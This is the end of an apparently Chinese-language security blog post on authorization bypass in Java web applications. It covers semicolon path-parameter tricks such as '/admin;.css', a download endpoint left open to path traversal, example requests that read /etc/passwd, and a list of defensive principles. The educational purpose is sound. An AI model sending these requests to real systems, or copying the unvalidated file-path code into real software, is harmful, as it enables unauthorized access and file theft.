18
19
// 案例1:某电商网站的权限绕过
// 原始保护配置
filterChainDefinitionMap.put("/admin/*", "roles[admin]");

// 攻击者发现可以通过以下方式绕过:
// GET /admin;.css -> 访问成功
// 原因:路径参数导致实际访问的是/admin,但过滤器认为这不匹配/admin/*

// 案例2:某OA系统的文件下载漏洞
@GetMapping("/download")
public void downloadFile(@RequestParam String filename, HttpServletResponse response) {
// 漏洞:未验证文件路径
File file = new File("/upload/" + filename);
// ... 下载逻辑
}

// 攻击者可以通过路径遍历下载任意文件:
// GET /download?filename=../../../etc/passwd
// GET /download;.css?filename=../../../etc/passwd # 绕过权限检查

总结

Java Web应用的鉴权绕过技术主要集中在以下几个方面:

  1. 路径参数污染:利用分号(;)引入的路径参数来绕过基于URL字符串匹配的访问控制
  2. 路径遍历:使用.././等路径遍历字符来绕过路径匹配
  3. 编码绕过:使用URL编码、双重编码等方式来绕过字符串匹配
  4. HTTP方法绕过:当访问控制只针对特定HTTP方法时的绕过
  5. 大小写绕过:在大小写敏感的匹配中使用不同的大小写组合

防护的核心原则:

  • 使用白名单而非黑名单
  • 进行路径标准化处理
  • 使用框架提供的安全组件
  • 实施深度防御策略
  • 定期进行安全测试和代码审计

通过理解这些攻击技术和防护方法,开发者可以更好地保护Java Web应用免受鉴权绕过攻击。


Java Web应用鉴权绕过分析
https://v12.icu/2025/05/10/Java Web应用鉴权绕过分析/
作者
Noah
发布于
2025年5月10日
许可协议